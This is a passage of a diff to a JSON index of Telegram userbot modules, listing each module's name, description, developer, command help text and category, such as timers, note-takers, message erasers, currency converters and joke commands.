"new_commands": [ { - "aupl": { + "cfgset": { "ru_doc": null, "en_doc": null, - "doc": "> <reply to file> - Anonymous file Uploader" + "doc": "<number> - specify a timezone\nRegarding to UTC+0" } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "kamolgks/Hikkamods/Holiday.py": { - "name": "Holiday", - "description": "The module checks whether today is a holiday in your region.", - "meta": { - "pic": "https://raw.githubusercontent.com/kamolgks/assets/main/Holiday.png", - "banner": "https://raw.githubusercontent.com/kamolgks/assets/main/Holiday.jpg", - "developer": "@shitmodules" - }, - "commands": [ + }, { - "holidaycmd": "> Checks if today is a holiday. > Проверяет, является ли сегодняшний день праздником." - } - ], - "new_commands": [ - { - "holiday": { - "ru_doc": "> Проверяет, является ли сегодняшний день праздником.", + "autoname": { + "ru_doc": null, "en_doc": null, - "doc": "> Checks if today is a holiday." + "doc": "<text> - autotime in nickname | {time} must be placed in the text\nWrite without argument to disable" + } + }, + { + "autobio": { + "ru_doc": null, + "en_doc": null, + "doc": "<text> - autotime in bio | {time} must be placed in the text\nWrite without argument to disable" } } ], @@ -9031,102 +22586,35 @@ "Chat" ] }, - "kamolgks/Hikkamods/IndividualLinks.py": { - "name": "IndividualLinks", - "description": "> Links to individual content in telegram.", - "meta": { - "pic": "https://raw.githubusercontent.com/kamolgks/assets/main/IndividualLinks.jpg", - "banner": "https://te.legra.ph/file/b15eed35d5ec0dd3a4716.jpg", - "developer": "@shitmodules" - }, - "commands": [ - { - "indlinks": "Just send .indlinks" - } - ], - "new_commands": [ - { - "indlinks": { - "ru_doc": null, - "en_doc": null, - "doc": "Just send .indlinks" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "C0dwiz/H.Modules/TaskManager.py": { - "name": "TaskManagerModule", - "description": "Manages tasks with Telegram commands and inline keyboards.", + "1jpshiro/hikka-modules/Counter.py": { + "name": "Counter", + "description": "Inline Clicks Counter", "meta": { "pic": null, - "banner": null, - "developer": "@hikka_mods" + "banner": "https://0x0.st/s/FIR0RnhUN5pZV5CZ6sNFEw/8KBz.jpg", + "developer": "@shiro_hikka" }, "commands": [ { - "taskadd": "Добавить задачу:\n.taskadd <описание> | <дата (необязательно)> Add task:\n.taskadd <description> | <date (opt)>" + "cresetcmd": "[-u] [-c] - reset the counter\n-u (users list) -c (counts list)" }, { - "taskremove": "[index] - удалить задачу [index] - remove task" - }, - { - "taskcomplete": "[index] - Завершите задачу [index] - Complete task" - }, - { - "tasklist": "Список задач List tasks" - }, - { - "taskinfo": "[index] - Посмотреть информацию о задаче [index] - Show task info" - }, - { - "taskclear": "Удалить все задачи Clear all tasks" + "countcmd": "Creates an inline button for counting a presses" } ], "new_commands": [ { - "taskadd": { - "ru_doc": "Добавить задачу:\n.taskadd <описание> | <дата (необязательно)>", - "en_doc": "Add task:\n.taskadd <description> | <date (opt)>", - "doc": null + "creset": { + "ru_doc": null, + "en_doc": null, + "doc": "[-u] [-c] - reset the counter\n-u (users list) -c (counts list)" } }, { - "taskremove": { - "ru_doc": "[index] - удалить задачу", - "en_doc": "[index] - remove task", - "doc": null - } - }, - { - "taskcomplete": { - "ru_doc": "[index] - Завершите задачу", - "en_doc": "[index] - Complete task", - "doc": null - } - }, - { - "tasklist": { - "ru_doc": "Список задач", - "en_doc": "List tasks", - "doc": null - } - }, - { - "taskinfo": { - "ru_doc": "[index] - Посмотреть информацию о задаче", - "en_doc": "[index] - Show task info", - "doc": null - } - }, - { - "taskclear": { - "ru_doc": "Удалить все задачи", - "en_doc": "Clear all tasks", - "doc": null + "count": { + "ru_doc": null, + "en_doc": null, + "doc": "Creates an inline button for counting a presses" } } ], @@ -9135,52 +22623,35 @@ "Tools" ] }, - "C0dwiz/H.Modules/VirusTotal.py": { - "name": "VirusTotalMod", - "description": "Checks files for viruses using VirusTotal.", + "1jpshiro/hikka-modules/MessageEraser.py": { + "name": "MessageEraser", + "description": "Delete your messages in the current chat", "meta": { "pic": null, - "banner": null, - "developer": "@hikka_mods" + "banner": "https://0x0.st/s/FIR0RnhUN5pZV5CZ6sNFEw/8KBz.jpg", + "developer": "@shiro_hikka" }, "commands": [ { - "vt": "<ответ на файл> - Проверяет файлы на наличие вирусов с использованием VirusTotal <file response> - Checks files for viruses using VirusTotal" + "stoppurgecmd": "Interrupt the deletion process\nUse in the chat where you've previously started deletion" + }, + { + "purgecmd": "[reply] [10s / 10m / 10h / 10d] [-all] - delete all your messages in the current chat or only ones up to the message you replied to\nPossible to do with a delay\n-all - to delete messages from each topic if this is a forum otherwise flag'll just be ignored\nExample: 10h 3d" } ], "new_commands": [ { - "vt": { - "ru_doc": "<ответ на файл> - Проверяет файлы на наличие вирусов с использованием VirusTotal", - "en_doc": "<file response> - Checks files for viruses using VirusTotal", - "doc": null - } - } - ], - "category": [ - "Security", - "Chat" - ] - }, - "C0dwiz/H.Modules/EnvsSH.py": { - "name": "EnvsMod", - "description": "Module for reuploading files to envs.sh", - "meta": { - "pic": null, - "banner": null, - "developer": "@hikka_mods" - }, - "commands": [ - { - "envcmd": "Reupload to envs.sh." - } - ], - "new_commands": [ - { - "env": { + "stoppurge": { "ru_doc": null, "en_doc": null, - "doc": "Reupload to envs.sh." + "doc": "Interrupt the deletion process\nUse in the chat where you've previously started deletion" + } + }, + { + "purge": { + "ru_doc": null, + "en_doc": null, + "doc": "[reply] [10s / 10m / 10h / 10d] [-all] - delete all your messages in the current chat or only ones up to the message you replied to\nPossible to do with a delay\n-all - to delete messages from each topic if this is a forum otherwise flag'll just be ignored\nExample: 10h 3d" } } ], @@ -9189,25 +22660,52 @@ "Tools" ] }, - "C0dwiz/H.Modules/TempChat.py": { - "name": "TempChatMod", - "description": "Creates a temporary private chat with a message forwarding restriction and adds the specified user to it.", + "1jpshiro/hikka-modules/Timer.py": { + "name": "Timer", + "description": "Creates fine adorned timer", "meta": { "pic": null, - "banner": null, - "developer": "@hikka_mods" + "banner": "https://0x0.st/s/FIR0RnhUN5pZV5CZ6sNFEw/8KBz.jpg", + "developer": "@shiro_hikka" }, "commands": [ { - "tmpchat": "Create temporary chat. Usage: .tmpchat [@user/reply] [time] Создает временный чат. Использование: .tmpchat [@user/reply] [time]" + "timercmd": "[5h 5m 5s] - launch the timer" } ], "new_commands": [ { - "tmpchat": { - "ru_doc": "Создает временный чат. Использование: .tmpchat [@user/reply] [time]", + "timer": { + "ru_doc": null, "en_doc": null, - "doc": "Create temporary chat. Usage: .tmpchat [@user/reply] [time]" + "doc": "[5h 5m 5s] - launch the timer" + } + } + ], + "category": [ + "Tools", + "Productivity" + ] + }, + "1jpshiro/hikka-modules/PMStat.py": { + "name": "PMStat", + "description": "Defines how many messages did you and your chat partner write", + "meta": { + "pic": null, + "banner": "https://0x0.st/s/FIR0RnhUN5pZV5CZ6sNFEw/8KBz.jpg", + "developer": "@shiro_hikka" + }, + "commands": [ + { + "statcmd": "[-p] [-s] - (-p - counts your chat partner messages) (-s - send result to the saved messages)" + } + ], + "new_commands": [ + { + "stat": { + "ru_doc": null, + "en_doc": null, + "doc": "[-p] [-s] - (-p - counts your chat partner messages) (-s - send result to the saved messages)" } } ], @@ -9216,55 +22714,220 @@ "Tools" ] }, - "C0dwiz/H.Modules/MooFarmRC1.py": { - "name": "AutoFarmbotMod", - "description": "Модуль для автофарма в \"Коровке\"!\nВ конфиге настройте: сhat_id и bot_id ->\nСинхронизируйте скин в меню ->\nЗарегистрируйтесь на Redis.io и ссылку добавьте в конфиг", + "1jpshiro/hikka-modules/Tracker.py": { + "name": "Tracker", + "description": "Tracks the change history of usernames and nicknames of users", "meta": { "pic": null, - "banner": null, - "developer": "@hikka_mods and @Frost_Shard" + "banner": "https://0x0.st/s/FIR0RnhUN5pZV5CZ6sNFEw/8KBz.jpg", + "developer": "@shiro_hikka" }, "commands": [ { - "fmoo": "Инлайн-меню управления автофармом" + "trackcmd": "Enable / Disable the tracking" }, { - "auto_eating": "Автоматически кормит персонажа, если уровень еды ниже 70%" + "addtrackcmd": "<ID / Username> - add a new user to track" }, { - "auto_craft_txt": "Команда для автоматической работы авто-крафта" + "deltrackcmd": "Remove user from the track list" }, { - "auto_forest_txt": "Команда для автоматической работы авто-леса" + "trackstatcmd": "View the statistic about users you're tracking" } ], "new_commands": [ { - "fmoo": { + "track": { "ru_doc": null, "en_doc": null, - "doc": "Инлайн-меню управления автофармом" + "doc": "Enable / Disable the tracking" } }, { - "auto_eating": { + "addtrack": { "ru_doc": null, "en_doc": null, - "doc": "Автоматически кормит персонажа, если уровень еды ниже 70%" + "doc": "<ID / Username> - add a new user to track" } }, { - "auto_craft_txt": { + "deltrack": { "ru_doc": null, "en_doc": null, - "doc": "Команда для автоматической работы авто-крафта" + "doc": "Remove user from the track list" } }, { - "auto_forest_txt": { + "trackstat": { "ru_doc": null, "en_doc": null, - "doc": "Команда для автоматической работы авто-леса" + "doc": "View the statistic about users you're tracking" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "1jpshiro/hikka-modules/StickerStealer.py": { + "name": "StickerStealer", + "description": "Emoji / Sticker pickpocket", + "meta": { + "pic": null, + "banner": "https://0x0.st/s/FIR0RnhUN5pZV5CZ6sNFEw/8KBz.jpg", + "developer": "@shiro_hikka" + }, + "commands": [ + { + "stealcmd": "<reply / quote reply> - add an emoji or sticker to your pack\nEmoji: one type of emoji only is possible to be used at time" + } + ], + "new_commands": [ + { + "steal": { + "ru_doc": null, + "en_doc": null, + "doc": "<reply / quote reply> - add an emoji or sticker to your pack\nEmoji: one type of emoji only is possible to be used at time" + } + } + ], + "category": [ + "Tools", + "Games" + ] + }, + "cryptexctl/modules-mirror/komarumod.py": { + "name": "KomaruMod", + "description": "Достает рандомную гифку из @komarugif\nканал заменил @systemxplore, оригинальный разработчик: @wmodules", + "meta": { + "pic": null, + "banner": null, + "developer": "@wmodules" + }, + "commands": [ + { + "komarugifcmd": "Рандомная гифка" + } + ], + "new_commands": [ + { + "komarugif": { + "ru_doc": null, + "en_doc": null, + "doc": "Рандомная гифка" + } + } + ], + "category": [ + "Fun", + "Chat" + ] + }, + "cryptexctl/modules-mirror/SomethingCreatingScriptErrors.py": { + "name": "ScriptErrorMod", + "description": null, + "meta": { + "pic": null, + "banner": null, + "developer": "@systemxplore" + }, + "commands": [ + { + "скриптовыеошибки": "" + } + ], + "new_commands": [ + { + "скриптовыеошибки": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "cryptexctl/modules-mirror/notesmod.py": { + "name": "NotesFileMod", + "description": "Модуль для заметок с хранением в файлах", + "meta": { + "pic": null, + "banner": null, + "developer": "@systemxplore" + }, + "commands": [ + { + "noteadd": "Добавить заметку.\nИспользование: .noteadd #tag <текст>" + }, + { + "notedelete": "Удалить заметку.\nИспользование: .notedelete #tag" + }, + { + "noteview": "Просмотреть заметку.\nИспользование: .noteview #tag" + }, + { + "notelist": "Показать список всех заметок." + } + ], + "new_commands": [ + { + "noteadd": { + "ru_doc": null, + "en_doc": null, + "doc": "Добавить заметку.\nИспользование: .noteadd #tag <текст>" + } + }, + { + "notedelete": { + "ru_doc": null, + "en_doc": null, + "doc": "Удалить заметку.\nИспользование: .notedelete #tag" + } + }, + { + "noteview": { + "ru_doc": null, + "en_doc": null, + "doc": "Просмотреть заметку.\nИспользование: .noteview #tag" + } + }, + { + "notelist": { + "ru_doc": null, + "en_doc": null, + "doc": "Показать список всех заметок." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "cryptexctl/modules-mirror/avaclone.py": { + "name": "AvaCloneMod", + "description": "Устанавливает фото/видео/гиф аватарку многократно.\nОсторожно: возможен бан или флудвейт.", + "meta": { + "pic": null, + "banner": null, + "developer": "@systemxplore" + }, + "commands": [ + { + "avaclone": "Устанавливает аватарку указанное количество раз.\nИспользуйте: .avaclone <количество> [ответ на файл/ссылка]" + } + ], + "new_commands": [ + { + "avaclone": { + "ru_doc": null, + "en_doc": null, + "doc": "Устанавливает аватарку указанное количество раз.\nИспользуйте: .avaclone <количество> [ответ на файл/ссылка]" } } ], @@ -9273,65 +22936,35 @@ "Chat" ] }, - "C0dwiz/H.Modules/AutofarmCookies.py": { - "name": "AutofarmCookiesMod", - "description": "Autofarm in the bot @cookies_game_bot", + "cryptexctl/modules-mirror/zovmodule.py": { + "name": "LeeterMod", + "description": "Тут либо гойда либо зов\nлибо ZOVишь либо leetируешь", "meta": { "pic": null, "banner": null, - "developer": "@hikka_mods" + "developer": "@systemxplore" }, "commands": [ { - "cookon": "Запустить автофарминг Launch auto-farming" + "leeter": "Включить/выключить обработку сообщений." }, { - "cookoff": "Остановить автофарминг Stop auto-farming" - }, - { - "cookies": "Вывод кол-ва коинов, добытых этим модулем Output of the number of coins mined by this module" - }, - { - "me": "Показывает ваш мешок Shows your bag" - }, - { - "ckies": "Помощь по модулю AutofarmCookies Help with the AutofarmCookies module" + "zovmode": "Переключить режим: leet или zov." } ], "new_commands": [ { - "cookon": { - "ru_doc": "Запустить автофарминг", - "en_doc": "Launch auto-farming", - "doc": null + "leeter": { + "ru_doc": null, + "en_doc": null, + "doc": "Включить/выключить обработку сообщений." } }, { - "cookoff": { - "ru_doc": "Остановить автофарминг", - "en_doc": "Stop auto-farming", - "doc": null - } - }, - { - "cookies": { - "ru_doc": "Вывод кол-ва коинов, добытых этим модулем", - "en_doc": "Output of the number of coins mined by this module", - "doc": null - } - }, - { - "me": { - "ru_doc": "Показывает ваш мешок", - "en_doc": "Shows your bag", - "doc": null - } - }, - { - "ckies": { - "ru_doc": "Помощь по модулю AutofarmCookies", - "en_doc": "Help with the AutofarmCookies module", - "doc": null + "zovmode": { + "ru_doc": null, + "en_doc": null, + "doc": "Переключить режим: leet или zov." } } ], @@ -9340,26 +22973,919 @@ "Chat" ] }, - "C0dwiz/H.Modules/Video2GIF.py": { - "name": "Video2GIF", - "description": "Converts video to GIF", + "cryptexctl/modules-mirror/сланцы2.py": { + "name": "SlantsyMod", + "description": "АХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ", "meta": { "pic": null, "banner": null, - "developer": "@hikka_mods" + "developer": "@systemxplore" }, "commands": [ { - "gifc": "[reply | в одном сообщении с видео] — конвертирует видео в GIF. [reply | in one message with video] — Converts video to GIF." + "этосланцычат": "АХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ" } ], "new_commands": [ { - "gifc": { - "ru_doc": "[reply | в одном сообщении с видео] — конвертирует видео в GIF.", - "en_doc": "[reply | in one message with video] — Converts video to GIF.", + "этосланцычат": { + "ru_doc": null, + "en_doc": null, + "doc": "АХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "cryptexctl/modules-mirror/овощерезка.py": { + "name": "RandomPostMod", + "description": "Отправляет случайный пост из p2 или pixelgang с картинками.", + "meta": { + "pic": null, + "banner": null, + "developer": "@systemxplore" + }, + "commands": [ + { + "овощерезка": "Отправляет случайный мемасек из p2 или pixelgang " + } + ], + "new_commands": [ + { + "овощерезка": { + "ru_doc": null, + "en_doc": null, + "doc": "Отправляет случайный мемасек из p2 или pixelgang " + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "cryptexctl/modules-mirror/actually.py": { + "name": "ActuallyMod", + "description": "ehm, actually🤓️.", + "meta": { + "pic": null, + "banner": null, + "developer": "@systemxplore" + }, + "commands": [ + { + "actually": "ehm, actually'" + } + ], + "new_commands": [ + { + "actually": { + "ru_doc": null, + "en_doc": null, + "doc": "ehm, actually'" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "cryptexctl/modules-mirror/randomtrack.py": { + "name": "RandomTrackMod", + "description": "Отправляет случайный трек из указанного канала.", + "meta": { + "pic": null, + "banner": null, + "developer": "@systemxplore" + }, + "commands": [ + { + "randomtrack": "Отправляет случайный трек из вашего канала." + } + ], + "new_commands": [ + { + "randomtrack": { + "ru_doc": null, + "en_doc": null, + "doc": "Отправляет случайный трек из вашего канала." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "sqlmerr/hikka_mods/upgradedeval.py": { + "name": "UpgradedEval", + "description": "Just eval with customizable text and stdout", + "meta": { + "pic": null, + "banner": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/banners/upgradedeval.png?raw=true", + "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/upgradedeval.png?raw=true", + "developer": "@sqlmerr_m" + }, + "commands": [ + { + "ehistory": "Get history (since userbot restart) Получить историю (с рестарта юзербота)" + }, + { + "ie": "Upgraded eval Улучшенный eval" + }, + { + "erust": "Evaluate Rust code Запустить код на Rust" + }, + { + "ego": "Evaluate Go code Запустить код на Go" + }, + { + "ekt": "Evaluate Kotlin code Запустить код на Kotlin" + } + ], + "new_commands": [ + { + "ehistory": { + "ru_doc": "Получить историю (с рестарта юзербота)", + "en_doc": null, + "doc": "Get history (since userbot restart)" + } + }, + { + "ie": { + "ru_doc": "Улучшенный eval", + "en_doc": null, + "doc": "Upgraded eval" + } + }, + { + "erust": { + "ru_doc": "Запустить код на Rust", + "en_doc": null, + "doc": "Evaluate Rust code" + } + }, + { + "ego": { + "ru_doc": "Запустить код на Go", + "en_doc": null, + "doc": "Evaluate Go code" + } + }, + { + "ekt": { + "ru_doc": "Запустить код на Kotlin", + "en_doc": null, + "doc": "Evaluate Kotlin code" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "sqlmerr/hikka_mods/autoformatter.py": { + "name": "AutoFormatter", + "description": "Automatically formats the text of your messages | Check The Config", + "meta": { + "pic": null, + "banner": "https://github.com/sqlmerr/sqlmerr/blob/main/assets/hikka_mods/sqlmerrmodules_autoformatter.png?raw=true", + "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/autoformatter.png?raw=true", + "developer": "@sqlmerr_m" + }, + "commands": [ + { + "watcher": "" + }, + { + "textformat": "Turn on/off The Module Включить/выключить модуль" + } + ], + "new_commands": [ + { + "watcher": { + "ru_doc": null, + "en_doc": null, "doc": null } + }, + { + "textformat": { + "ru_doc": "Включить/выключить модуль", + "en_doc": null, + "doc": "Turn on/off The Module" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "sqlmerr/hikka_mods/silentmessages.py": { + "name": "SilentMessages", + "description": "With this module you won't miss important messages sent without sound!", + "meta": { + "pic": null, + "banner": "https://github.com/sqlmerr/sqlmerr/blob/main/assets/hikka_mods/sqlmerrmodules_silentmessages.png?raw=true", + "developer": "@sqlmerr_m", + "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/silentmessages.png?raw=true" + }, + "commands": [ + { + "silentmessages": "toggle module status включить/выключить модуль" + } + ], + "new_commands": [ + { + "silentmessages": { + "ru_doc": "включить/выключить модуль", + "en_doc": null, + "doc": "toggle module status" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "sqlmerr/hikka_mods/autoforward.py": { + "name": "AutoForward", + "description": "Автоматически пересылает сообщения из каналов в один", + "meta": { + "pic": null, + "banner": null, + "developer": "@sqlmerr_m" + }, + "commands": [ + { + "autoforward": "- вкл/выкл модуля" + } + ], + "new_commands": [ + { + "autoforward": { + "ru_doc": null, + "en_doc": null, + "doc": "- вкл/выкл модуля" + } + } + ], + "category": [ + "Automation", + "Tools" + ] + }, + "sqlmerr/hikka_mods/fakedata.py": { + "name": "FakeData", + "description": "Just fake data of persons and credit cards", + "meta": { + "pic": null, + "banner": "https://github.com/sqlmerr/sqlmerr/blob/main/assets/hikka_mods/sqlmerrmodules_fakedata.png?raw=true", + "developer": "@sqlmerr_m", + "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/fakedata.png?raw=true" + }, + "commands": [ + { + "fakedata": "[locale (for example: \"ru_RU\" for Russian or \"fr_FR\" for French)] - Get fake data about person and credit card [язык (к примеру: \"ru_RU\" для Русского или \"fr_FR\" для французского и т.д.)] - Получить фейковые данные человека и его кредитной карты" + } + ], + "new_commands": [ + { + "fakedata": { + "ru_doc": "[язык (к примеру: \"ru_RU\" для Русского или \"fr_FR\" для французского и т.д.)] - Получить фейковые данные человека и его кредитной карты", + "en_doc": null, + "doc": "[locale (for example: \"ru_RU\" for Russian or \"fr_FR\" for French)] - Get fake data about person and credit card" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "sqlmerr/hikka_mods/currencyconverter.py": { + "name": "CurrencyConverter", + "description": "Module for converting a large number of currencies to other currencies", + "meta": { + "pic": null, + "banner": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/banners/currencyconverter.png?raw=true", + "developer": "@sqlmerr_m", + "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/currencyconverter.png?raw=true" + }, + "commands": [ + { + "cconvert": "[from] [to] Convert currency to other currency [from] [to] Конвертировать одну валюту в другую" + } + ], + "new_commands": [ + { + "cconvert": { + "ru_doc": "[from] [to] Конвертировать одну валюту в другую", + "en_doc": null, + "doc": "[from] [to] Convert currency to other currency" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "sqlmerr/hikka_mods/numbersfacts.py": { + "name": "NumbersFacts", + "description": "Interesting facts about numbers | Check the config", + "meta": { + "pic": null, + "banner": "https://github.com/sqlmerr/sqlmerr/blob/main/assets/hikka_mods/sqlmerrmodules_numberfacts.png?raw=true", + "developer": "@sqlmerr_m", + "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/numberfacts.png?raw=true" + }, + "commands": [ + { + "numberfact": "[number] - get fact about number [число] - получить факт об этом числе" + } + ], + "new_commands": [ + { + "numberfact": { + "ru_doc": "[число] - получить факт об этом числе", + "en_doc": null, + "doc": "[number] - get fact about number" + } + } + ], + "category": [ + "Tools", + "Admin" + ] + }, + "sqlmerr/hikka_mods/inlinetimer.py": { + "name": "InlineTimer", + "description": "Описание нашего модуля", + "meta": { + "pic": null, + "banner": "https://github.com/sqlmerr/sqlmerr/blob/main/assets/hikka_mods/sqlmerrmodules_inlinetimer.png?raw=true", + "developer": "@sqlmerr_m", + "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/inlinetimer.png?raw=true" + }, + "commands": [ + { + "timer": "Send timer отправить таймер" + } + ], + "new_commands": [ + { + "timer": { + "ru_doc": "отправить таймер", + "en_doc": null, + "doc": "Send timer" + } + } + ], + "category": [ + "Tools", + "Productivity" + ] + }, + "sqlmerr/hikka_mods/codeformat.py": { + "name": "CodeFormat", + "description": "Format your code!", + "meta": { + "pic": null, + "banner": "https://github.com/sqlmerr/sqlmerr/blob/main/assets/hikka_mods/sqlmerrmodules_codeformat.png?raw=true", + "developer": "@sqlmerr_m" + }, + "commands": [ + { + "code": "" + } + ], + "new_commands": [ + { + "code": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "sqlmerr/hikka_mods/addlinktosymbols.py": { + "name": "AddLinkToSymbols", + "description": "Add link to symbols in text", + "meta": { + "pic": null, + "banner": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/sqlmerrmodules_example.png?raw=true", + "developer": "@sqlmerr_m", + "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/addlinktosymbols.png?raw=true" + }, + "commands": [ + { + "addlinktosymbols": "[symbols] [link] [text or reply] Add link to symbols\n\nExample: .addlinktosymbols ah.e https://example.com hi hello. YOOOOOOO\nWrite characters without spaces. [символы] [ссылка] [текст или реплай] Добавить ссылку на символы\n\nПример: .addlinktosymbols ап.ев https://example.com привет. Еееее хай\nСимволы пишите без пробелов. " + } + ], + "new_commands": [ + { + "addlinktosymbols": { + "ru_doc": "[символы] [ссылка] [текст или реплай] Добавить ссылку на символы\n\nПример: .addlinktosymbols ап.ев https://example.com привет. Еееее хай\nСимволы пишите без пробелов. ", + "en_doc": null, + "doc": "[symbols] [link] [text or reply] Add link to symbols\n\nExample: .addlinktosymbols ah.e https://example.com hi hello. YOOOOOOO\nWrite characters without spaces." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "sqlmerr/hikka_mods/FastChangeTgStatus.py": { + "name": "FCTS", + "description": "Change your status fast. Only for premium users | Изменяйте ваш статус быстро. Только для премиум пользователей", + "meta": { + "pic": null, + "banner": null, + "developer": "@sqlmerr_m", + "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/FastChangeTgStatus.png?raw=true" + }, + "commands": [ + { + "statuschange": "[status name] - set this status | .statuslist to view your downloaded statuses [имя статуса] - поставить этот статус | .statuslist для просмотра ваших установленных статусов" + }, + { + "statuslist": "See list of all your statuses Посмотреть список всех статусов" + }, + { + "statusadd": "[emoji] [short name] Add a custom status [эмодзи] [короткое имя] Добавить кастомный статус" + }, + { + "statusclear": "Clear all custom statuses Очистить все кастомные статусы" + } + ], + "new_commands": [ + { + "statuschange": { + "ru_doc": "[имя статуса] - поставить этот статус | .statuslist для просмотра ваших установленных статусов", + "en_doc": null, + "doc": "[status name] - set this status | .statuslist to view your downloaded statuses" + } + }, + { + "statuslist": { + "ru_doc": "Посмотреть список всех статусов", + "en_doc": null, + "doc": "See list of all your statuses" + } + }, + { + "statusadd": { + "ru_doc": "[эмодзи] [короткое имя] Добавить кастомный статус", + "en_doc": null, + "doc": "[emoji] [short name] Add a custom status" + } + }, + { + "statusclear": { + "ru_doc": "Очистить все кастомные статусы", + "en_doc": null, + "doc": "Clear all custom statuses" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "sqlmerr/hikka_mods/random_emoji.py": { + "name": "RandomEmoji", + "description": "Just random emojis", + "meta": { + "pic": null, + "banner": "https://github.com/sqlmerr/sqlmerr/blob/main/assets/hikka_mods/sqlmerrmodules_randomemoji.png?raw=true", + "icon": "https://github.com/sqlmerr/hikka_mods/blob/main/assets/icons/random_emoji.png?raw=true", + 